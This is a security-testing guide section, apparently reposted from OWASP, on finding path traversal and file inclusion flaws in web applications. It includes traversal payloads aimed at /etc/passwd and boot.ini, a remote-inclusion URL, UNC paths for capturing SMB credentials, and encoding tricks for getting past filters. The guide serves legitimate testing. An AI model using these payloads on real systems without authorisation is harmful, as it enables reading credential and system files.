Black Box testing and example
(a) Input Vectors Enumeration
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.
Here are some examples of the checks to be performed at this stage:
- Are there request parameters which could be used for file-related operations?
- Are there unusual file extensions?
- Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html http://example.com/index.php?file=content http://example.com/main.cgi?home=index.htm
- Is it possible to identify cookies used by the web application for the dynamic generation of pages/templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Testing Techniques
The next stage of testing is analyzing the input validation functions present in the web application.
Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file, showing the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/Unix system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
For the cookies example, we have:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
It's also possible to include files and scripts located on external website.
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal chars.
http://example.com/main.cgi?home=main.cgi
The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.
Tip It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't successful, try another encoding scheme.
Each operating system uses different chars as path separator:
Unix-like OS:
root directory: "/" directory separator: "/"
Windows OS' Shell':
root directory: "<drive letter>:\" directory separator: "\" or "/" Greater and less than ">" and "<" Double quotes (closed properly) – Extraneous current directory markers such as "./" or ".\" – Extraneous parent directory markers with arbitrary items that may or may not exist Examples: – file.txt – file.txt... - file.txt... – file.txt<spaces> – file.txt”””” –file.txt<<<>><>< – file.txt/./././ – nonexistant/../file.txt MAX_PATH of a filename can be exceeded by prefixing with \\?\ - but must be an absolute path, no parent or current directory indicators can be used, such as ./ or ../
"Windows API"
The following items are discarded: periods spaces
"Windows UNC Filenames"
Used to reference files on a SMB share. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. \\server_or_ip\path\to\file.abc \\?\server_or_ip\path\to\file.abc
"Windows NT Device Namespace"
Used to refer to the Windows device namespace \\.\GLOBALROOT\Device\HarddiskVolume1\ -equivalent to c:\ \\\airpcap00\ \\.\airpcap00\ \\.\CdRom0\
Usually, on Windows, the directory traversal attack is limited to a single partition
"DOS Special Devices"
\ CON - thee console PRN - a parallel printer COM1 - the first serial port NUL - bit bucket (/dev/null equivalent) Extensions are ignored. Ex: - COM.bat -CON.<666x"A">
Classic Mac OS:
root directory: "<drive letter>:" directory separator: ":"
We should take in account the following chars encoding:
- URL encoding and double URL encoding
%2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on.
- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af represents ../ ..%c1%9c represents ..\
Gray Box testing and example
When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, we can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... ASP: include file, include virtual, ...
Using online code search engines (e.g., Google CodeSearch, Koders), it may also be possible to find path traversal flaws in OpenSource software published on the Internet.
For PHP, we can use:
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.
Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe", but otherwise they are not.
Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
Consider a web application with these instructions:
filename = Request.QueryString(“file”); Replace(filename, “/”,”\”); Replace(filename, “..\”,””);
Testing for the flaw is achieved by:
file=....//....//boot.ini file=....\\....\\boot.ini file= ..\..\boot.ini
출처 : www.owasp.org
댓글